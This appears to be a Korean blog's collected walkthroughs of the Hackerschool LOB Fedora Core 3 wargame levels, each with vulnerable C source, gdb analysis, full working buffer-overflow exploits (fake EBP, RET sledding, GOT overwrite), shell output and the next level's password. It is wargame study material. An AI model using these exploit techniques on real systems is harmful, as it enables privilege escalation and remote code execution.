  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 00004c 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          08048194 000194 0000e0 10   A  5   1  4

  [ 5] .dynstr           STRTAB          08048274 000274 000096 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          0804830a 00030a 00001c 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048328 000328 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048348 000348 000018 08   A  4   0  4

  [ 9] .rel.plt          REL             08048360 000360 000040 08   A  4  11  4

  [10] .init             PROGBITS        080483a0 0003a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080483b8 0003b8 000090 04  AX  0   0  4

  [12] .text             PROGBITS        08048448 000448 0002ac 00  AX  0   0  4

  [13] .fini             PROGBITS        080486f4 0006f4 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        08048710 000710 000039 00   A  0   0  4

  [15] .eh_frame         PROGBITS        0804874c 00074c 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049750 000750 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049758 000758 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049760 000760 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049764 000764 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        0804982c 00082c 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049830 000830 00002c 04  WA  0   0  4

  [22] .data             PROGBITS        0804985c 00085c 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049868 000868 00000c 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000868 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 00098e 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ec8 0004f0 10     27  44  4

  [27] .strtab           STRTAB          00000000 0013b8 0002d6 00      0   0  1



bss영역 0x08049868


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#fc3 got_overwrite
from pwn import *
 
= remote("192.168.0.0"8888)
 
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
ppr = 0x80484f3
 
bss = 0x8049868
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 0)
payload += p32(0x80483f4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 1)
payload += p32(0x804817c)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 2)
payload += p32(0x80482b4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 3)
payload += p32(0x8048138)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got)
payload += p32(bss)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.sendline(payload)
 
p.interactive()
 
cs

mandu@mandu-VirtualBox:~/ex_pwn$ python fc3_hell.py 
[+] Opening connection to 192.168.0.10 on port 8888: Done
dark_stone : how fresh meat you are!
you :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8\x84\x0��h\x98\x0��8\x84\x0��i\x98\x0|\x81\x08\x84\x0��j\x98\x0\xb4\x82\x08\x84\x0��k\x98\x08\x81\x08\x84\x0��L\x98\x0h\x98\x\x84\x0AAAA\x036\x83\x00
[*] Switching to interactive mode
 $ my-pass
euid = 505
let there be light

예에~




반응형
반응형

해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이입니다.


ID | hell_fire

PW | sign me up


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}


got overwriting 이네요.

strcpy함수를 이용해서 printf got에 system함수 주소를 덮어쓰고, printf plt를 호출해 쉘을 띄울 수 있도록 하면 됩니다.


필요한 것들:

리턴주소 위치(buffer와의 거리)
printf .plt
printf .got
strcpy 
system
ppr(pop pop ret)
binsh


0x08048674 <main+288>: call   0x8048474 <_init+168>
0x08048679 <main+293>: add    esp,0x10
0x0804867c <main+296>: sub    esp,0x8
0x0804867f <main+299>: lea    eax,[ebp-264]
0x08048685 <main+305>: push   eax
0x08048686 <main+306>: push   0x8048784
0x0804868b <main+311>: call   0x8048424 <_init+88>
0x08048690 <main+316>: add    esp,0x10
0x08048693 <main+319>: leave  
0x08048694 <main+320>: ret    
0x08048695 <main+321>: nop    
0x08048696 <main+322>: nop    
0x08048697 <main+323>: nop    
End of assembler dump.

main 함수 마지막에 printf("%s\n", buffer); 가 실행되므로 0x8048424가 printf plt주소임을 알 수 있으며, 
<main+299> lea eax,[ebp-264] 을 통해  buffer의 위치를 알 수 있다. 
buffer[256] + dummy[8] +sfp[4] + ret[4]



0x0804861d <main+201>: lea    eax,[ebp-264]
0x08048623 <main+207>: push   eax
0x08048624 <main+208>: call   0x8048494 <_init+200>

위 쪽에서 strcpy함수 주소도 구할 수 있다.




(gdb) x/i 0x8048424

0x8048424 <_init+88>: jmp    ds:0x8049884


printf .got = 0x8049884




(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x0804854c <pop_pop_ret+0>: push   ebp

0x0804854d <pop_pop_ret+1>: mov    ebp,esp

0x0804854f <pop_pop_ret+3>: pop    eax

0x08048550 <pop_pop_ret+4>: pop    eax

0x08048551 <pop_pop_ret+5>: ret    

0x08048552 <pop_pop_ret+6>: leave  

0x08048553 <pop_pop_ret+7>: ret    

End of assembler dump.


ppr = 0x804854f



(gdb) b* main
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/hell_fire/evil_wizard 
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x7507c0 <system>

system 함수 주소 0x007507c0

이 함수 주소가 되어줄 조각들의 주소를 구해주어야 한다.


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "c0" --color=auto
 8048188 09000000 0a000000 0b000000 0c000000  ................
 80481e8 4c000000 00000000 27000000 12000000  L.......'.......
 80481f8 5c000000 00000000 ea000000 12000000  \...............
 8048208 6c000000 00000000 d9000000 12000000  l...............
 8048258 3c000000 00000000 51000000 12000000  <.......Q.......
 80483b4 98980408 07090000 9c980408 070c0000  ................
 80483cc 5589e583 ec08e8f1 000000e8 44010000  U...........D...
 8048414 ff258098 04086810 000000e9 c0ffffff  .%....h.........

c0 : 0x8048420



[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "07" --color=auto

 8048148 03000000 0f000000 0d000000 07000000  ................


07 : 0x8048154


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "75" --color=auto
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 80482c8 75696400 67657465 67696400 6d656d63  uid.getegid.memc

75 : 0x80482c8


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "00" --color=auto
 8048124 2e3200                               .2.             
 8048128 04000000 10000000 01000000 474e5500  ............GNU.
 8048138 00000000 02000000 02000000 05000000  ................

00 : 0x8048138




"/bin/sh\x00" 문자열은 system함수 내부에 존재하므로, 코드를 돌려서 주소를 구해주면 된다.

find_binsh.c

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
cs


[hell_fire@Fedora_1stFloor ~]$ vi find_binsh.c

[hell_fire@Fedora_1stFloor ~]$ gcc -o find_binsh find_binsh.c 

[hell_fire@Fedora_1stFloor ~]$ ./find_binsh

"bin/sh" is at 0x833603


다 구해준 것 같다. 

이제 exploit 코드를 짜서 돌려주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import struct
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/hell_fire/evil_wizard"
 
printf_plt = 0x8048424
printf_got = 0x8049884
strcpy_plt = 0x8048494
ppr = 0x804854f
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 0)
payload += p32(0x8048420)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 1)
payload += p32(0x8048154)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 2)
payload += p32(0x80482c8)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 3)
payload += p32(0x8048138)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
os.execv(target, (target, payload[:-1]))
 
cs


sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


반응형
반응형

해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이


M4ndU




해커스쿨 LOB FC3 [dark_eyes -> hell_fire] 풀이입니다.


ID | dark_eyes

PW | because of you


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - hell_fire

        - Remote BOF on Fedora Core 3

        - hint : another fake ebp or got overwriting

        - port : TCP 7777

*/


#include <stdio.h>


int main()

{

        char buffer[256];

        char saved_sfp[4];

        char temp[1024];


        printf("hell_fire : What's this smell?\n");

        printf("you : ");

        fflush(stdout);


        // give me a food

        fgets(temp, 1024, stdin);


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, temp);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 입력받은 값을 temp[1024]에 받아서 buffer[256]에 덮어쓴다. 이 문제는 remote BOF 문제라서 전 문제 풀이 방법으로는 풀 수 없다.

system함수 안에 do_system에서 execve를 호출하는 부분을 ret값으로 주면 쉘이 따와진다고 한다.


(gdb) x/12i *do_system+1119
0x75077f <do_system+1119>:      call   0x743d30 <sigprocmask>
0x750784 <do_system+1124>:      mov    0xfffffec4(%ebx),%ecx
0x75078a <do_system+1130>:      xor    %edx,%edx
0x75078c <do_system+1132>:      xor    %eax,%eax
0x75078e <do_system+1134>:      mov    %edx,0x16bc(%ebx)
0x750794 <do_system+1140>:      lea    0xffff460f(%ebx),%edx
0x75079a <do_system+1146>:      mov    (%ecx),%edi
0x75079c <do_system+1148>:      mov    %eax,0x16b8(%ebx)
0x7507a2 <do_system+1154>:      mov    %esi,0x4(%esp)
0x7507a6 <do_system+1158>:      mov    %edi,0x8(%esp)
0x7507aa <do_system+1162>:      mov    %edx,(%esp)
0x7507ad <do_system+1165>:      call   0x7a5490 <execve>


do_system+1124 는 sigprocmask함수를 call하고 난 다음명령이다. 이 주소를 리턴값으로 준다.


(python -c 'print "A"*268+"\x84\x07\x75"';cat) | nc localhost 7777


[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777

hell_fire : What's this smell?

you :

my-pass

euid = 503

sign me up



참조 : http://sangu1ne.tistory.com/7?category=39356

반응형
반응형

해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이


M4ndU




해커스쿨 LOB FC3 [iron_golem -> dark_eyes] 풀이입니다.


ID | iron_golem

PW | blood on the fedora


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




[iron_golem@Fedora_1stFloor ~]$ cat dark_eyes.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark_eyes

        - Local BOF on Fedora Core 3

        - hint : RET sleding

*/


int main(int argc, char *argv[])

{

        char buffer[256];

        char saved_sfp[4];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // save sfp

        memcpy(saved_sfp, buffer+264, 4);


        // overflow!!

        strcpy(buffer, argv[1]);


        // restore sfp

        memcpy(buffer+264, saved_sfp, 4);


        printf("%s\n", buffer);

}


이번에는 sfp 변조가 막혀있어 fake EBP를 사용할 수 없다.

buffer+264 다음에 sfp인 것을 보니 buffer[256]과 dummy[8]이 있는 것 같다.

그렇지만 ret주소는 변조가 가능하고, 힌트에도 RET sleding을 사용하라고 되어 있다.

이번에도 execl함수를 사용할 것이고, 매개변수로 넘길 값을 찾아야 한다.

(gdb) b *main+3
Breakpoint 1 at 0x804840b
(gdb) r
Starting program: /home/iron_golem/dark_eyes
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x0804840b in main ()
(gdb) x/10wx $ebp
0xfeeb59a8:     0xfeeb5a08      0x00730e33      0x00000001      0xfeeb5a34
0xfeeb59b8:     0xfeeb5a3c      0x0070eab6      0x0083eff4      0x00000000
0xfeeb59c8:     0xfeeb59c0      0xfeeb5a08
(gdb) x/wx 0x0070eab6
0x70eab6 <fixup+150>:   0x83f0558b
(gdb) x/wx 0x0083eff4
0x83eff4 <svcauthsw+712>:       0x0083ed3c


$ebp+24인 0x0083eff4가 최하위바이트가 0x00인 0x0083ed3c을 가리키고 있다.

이 값을 파일명으로하는 쉘 프로그램을 작성하고

이 파일명를 execl함수의 매개변수로 넘겨주면 된다.
execl함수는 ebp+8에 있는 값을 매개변수로 받는다.
RET를 3번 호출하면 pop을 4번하고 execl 프롤로그에서 push ebp, mov ebp esp 해서 0x0083eff4 == ebp+8 이 될 수 있다. 

페이로드 구성이 이렇게 된다.
dummy[268](sfp도 덮어야함) + RET[4] + RET[4] + RET[4] + execl()[4]



(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl함수의 주소는 0x7a5720이다.


쉘 프로그램을 작성하고 0x0083ed3c을 파일명으로 컴파일 한다.

[iron_golem@Fedora_1stFloor ~]$ vi sh.c
[iron_golem@Fedora_1stFloor ~]$ cat sh.c
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
        setreuid(geteuid(),geteuid());
        setregid(getegid(),getegid());
        system("/bin/sh");
}
[iron_golem@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x3c\xed\x83"'` sh.c


이제 RET주소를 가져오자

0x080484b9 <main+177>:  ret


exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA뫈뭐?

Segmentation fault


...안된다...



(gdb) b *main+176

Breakpoint 1 at 0x80484b8

(gdb) r `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

Starting program: /home/iron_golem/dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x20\x57\x7a"'`

(no debugging symbols found)...(no debugging symbols found)...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(l萃뭐퉬


Breakpoint 1, 0x080484b8 in main ()

(gdb) x/10wx $ebp

0xfef56bc8:     0xfef56c28      0x080484b9      0x080484b9      0x080484b9

0xfef56bd8:     0xfef56c00      0x0070eab6      0x0083eff4      0x00000000

0xfef56be8:     0xfef56be0      0xfef56c28

(gdb) x/10wx $ebp-8

0xfef56bc0:     0x41414141      0x41414141      0xfef56c28      0x080484b9

0xfef56bd0:     0x080484b9      0x080484b9      0xfef56c00      0x0070eab6

0xfef56be0:     0x0083eff4      0x00000000


메모리를 확인해보니, RET까지 잘 들어갔는데 execl함수 주소가 들어가지 않았다. \x20이 문제인거 같다.


0x7a571e <execle+270>:  nop

0x7a571f <execle+271>:  nop

0x7a5720 <execl>:       push   ebp

0x7a5721 <execl+1>:     mov    ebp,esp


execl함수주소 윗부분이 nop으로 되어있기 때문에 \x20을 \x1f로 바꾸어도 상관이 없다.

다시 exploit!
./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`



[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x1f\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8

澱뭐퉉z

sh-3.00$ my-pass

euid = 502

because of you



클리어!


반응형
반응형

해커스쿨 LOB FC3 [gate -> iron_golem] 풀이


M4ndU




해커스쿨 LOB FC3 [gate -> iron_golem] 풀이입니다.


ID | gate

PW | gate


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





[gate@Fedora_1stFloor ~]$ cat iron_golem.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - iron_golem

        - Local BOF on Fedora Core 3

        - hint : fake ebp

*/


int main(int argc, char *argv[])

{

    char buffer[256];


    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }


    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


256바이트 크기의 buffer에 값을 저장한다.

이 버퍼를 오버플로우해서 쉘을 따면 된다.


그런데 페도라 코어 3에는 메모리 보호기법들이 있다.


Stack Dummy : O

Down privileage of bash : O

Random Stack : O

Random Library : X

Random Program Binary Mapped : X

ASCII Armor : O

Non-Executable Stack : O

Non-Executable Heap : O

Stack Carany : X

Stack Smashing Protector : X


이 것들을 고려해서 문제를 풀어야 한다.



hint에 fake ebp를 사용하라고 되어 있다.


execl함수를 사용하면 된다.

sfp에 execl의 매개변수의 주소를 넣어주고, ret에 execl함수주소를 넣어주는 형태가 될 것이다.

매개변수는 got영역을 이용한다.



gdb로 버퍼 구조를 살펴보자


[gate@Fedora_1stFloor ~]$ gdb iron_golem -q

(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x080483d0 <main+0>:    push   ebp

0x080483d1 <main+1>:    mov    ebp,esp

0x080483d3 <main+3>:    sub    esp,0x108

0x080483d9 <main+9>:    and    esp,0xfffffff0

0x080483dc <main+12>:   mov    eax,0x0

0x080483e1 <main+17>:   add    eax,0xf

0x080483e4 <main+20>:   add    eax,0xf

0x080483e7 <main+23>:   shr    eax,0x4

0x080483ea <main+26>:   shl    eax,0x4

0x080483ed <main+29>:   sub    esp,eax

0x080483ef <main+31>:   cmp    DWORD PTR [ebp+8],0x1

0x080483f3 <main+35>:   jg     0x804840f <main+63>

0x080483f5 <main+37>:   sub    esp,0xc

0x080483f8 <main+40>:   push   0x8048524

0x080483fd <main+45>:   call   0x80482f8 <_init+56>

0x08048402 <main+50>:   add    esp,0x10

0x08048405 <main+53>:   sub    esp,0xc

0x08048408 <main+56>:   push   0x0

0x0804840a <main+58>:   call   0x8048308 <_init+72>

0x0804840f <main+63>:   sub    esp,0x8

0x08048412 <main+66>:   mov    eax,DWORD PTR [ebp+12]

0x08048415 <main+69>:   add    eax,0x4

0x08048418 <main+72>:   push   DWORD PTR [eax]

0x0804841a <main+74>:   lea    eax,[ebp-264]

0x08048420 <main+80>:   push   eax

0x08048421 <main+81>:   call   0x8048318 <_init+88>

0x08048426 <main+86>:   add    esp,0x10

0x08048429 <main+89>:   sub    esp,0x8

0x0804842c <main+92>:   lea    eax,[ebp-264]

0x08048432 <main+98>:   push   eax

0x08048433 <main+99>:   push   0x8048530

0x08048438 <main+104>:  call   0x80482f8 <_init+56>

0x0804843d <main+109>:  add    esp,0x10

0x08048440 <main+112>:  leave

0x08048441 <main+113>:  ret

End of assembler dump.



*main+3에서 \x108만큼 스택을 할당해준다. 이는 264바이트인데 위에서 256바이트를 선언했으므로 8바이트크기의 더미가 있음을 알 수 있다. 



낮은 주소


buffer[256]

dummy[8]

SFP[4]

RET[4]


높은 주소


이런 구조로 있을 것이다.

페이로드에 264바이트의 더미를 넣어주어야 한다.



이제 got주소를 구해보자


[gate@Fedora_1stFloor ~]$ readelf -S iron_golem

There are 28 section headers, starting at offset 0x840:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 000034 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          0804817c 00017c 000080 10   A  5   1  4

  [ 5] .dynstr           STRTAB          080481fc 0001fc 00006c 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          08048268 000268 000010 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048278 000278 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048298 000298 000008 08   A  4   0  4

  [ 9] .rel.plt          REL             080482a0 0002a0 000020 08   A  4  11  4

  [10] .init             PROGBITS        080482c0 0002c0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080482d8 0002d8 000050 04  AX  0   0  4

  [12] .text             PROGBITS        08048328 000328 0001d8 00  AX  0   0  4

  [13] .fini             PROGBITS        08048500 000500 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        0804851c 00051c 000018 00   A  0   0  4

  [15] .eh_frame         PROGBITS        08048534 000534 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049538 000538 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049540 000540 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049548 000548 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         0804954c 00054c 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        08049614 000614 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049618 000618 00001c 04  WA  0   0  4

  [22] .data             PROGBITS        08049634 000634 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049640 000640 000004 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000640 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 000766 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ca0 000480 10     27  44  4

  [27] .strtab           STRTAB          00000000 001120 00025e 00      0   0  1


got 주소는 0x08049618이다.

[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) x/8wx 0x08049618
0x8049618 <_GLOBAL_OFFSET_TABLE_>:      0x0804954c      0x007194f8      0x0070e9e00x00730d50
0x8049628 <_GLOBAL_OFFSET_TABLE_+16>:   0x080482fe      0x0804830e      0x0804831e0x00000000
(gdb) x/wx 0x0804954c
0x804954c <_DYNAMIC>:   0x00000001


got의 시작주소가 0x00000001를 가리키고 있다.


값이 간단하기 때문에 이 값을 쉘코드 파일의 이름으로 한다.

그리고 sfp에는 0x08049618 가 아니라 이 값에서 -8을 한 0x08049610 값을 넣는다. 

그 이유는 execl함수가 실행되고 ebp+8에 있는 값이 첫번째 인자로 넘어가기 때문이다.



[gate@Fedora_1stFloor ~]$ vi sh.c

[gate@Fedora_1stFloor ~]$ cat sh.c

#include <stdio.h>

#include <stdlib.h>


int main(void)

{

        setreuid(geteuid(),geteuid());

        setregid(getegid(),getegid());

        system("/bin/sh");

}



권한 상승후 쉘을 띄우는 코드를 짠다.

그 후 \x01이름으로 컴파일 한다.


[gate@Fedora_1stFloor ~]$ gcc -o `python -c 'print "\x01"'` sh.c



이제 execl함수의 주소를 구해보자


[gate@Fedora_1stFloor ~]$ gdb -q iron_golem
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) set disassembly-flavor intel
(gdb) b *main
Breakpoint 1 at 0x80483d0
(gdb) r
Starting program: /home/gate/iron_golem
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x080483d0 in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x7a5720 <execl>
(gdb) x/8i 0x7a5720
0x7a5720 <execl>:       push   ebp
0x7a5721 <execl+1>:     mov    ebp,esp
0x7a5723 <execl+3>:     lea    ecx,[ebp+16]
0x7a5726 <execl+6>:     push   edi
0x7a5727 <execl+7>:     push   esi
0x7a5728 <execl+8>:     push   ebx
0x7a5729 <execl+9>:     sub    esp,0x1038
0x7a572f <execl+15>:    mov    eax,DWORD PTR [ebp+12]



execl의 주소인 0x7a5720이 ret에 들어간다. 

그러나 매개변수를 넘겨주기 위해 ebp를 변조했기 때문에 ebp의 값을 바꾸는 '함수의 프롤로그' 과정을 생략한 0x7a5723이 들어가야 한다.


이제 정확한 페이로드를 구성해 보자


dummy[264] + 0x08049610 (got) + 0x7a5723 (execl)

 


[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz

sh-3.00$ my-pass

euid = 501

blood on the fedora

sh-3.00$



클리어!


반응형

+ Recent posts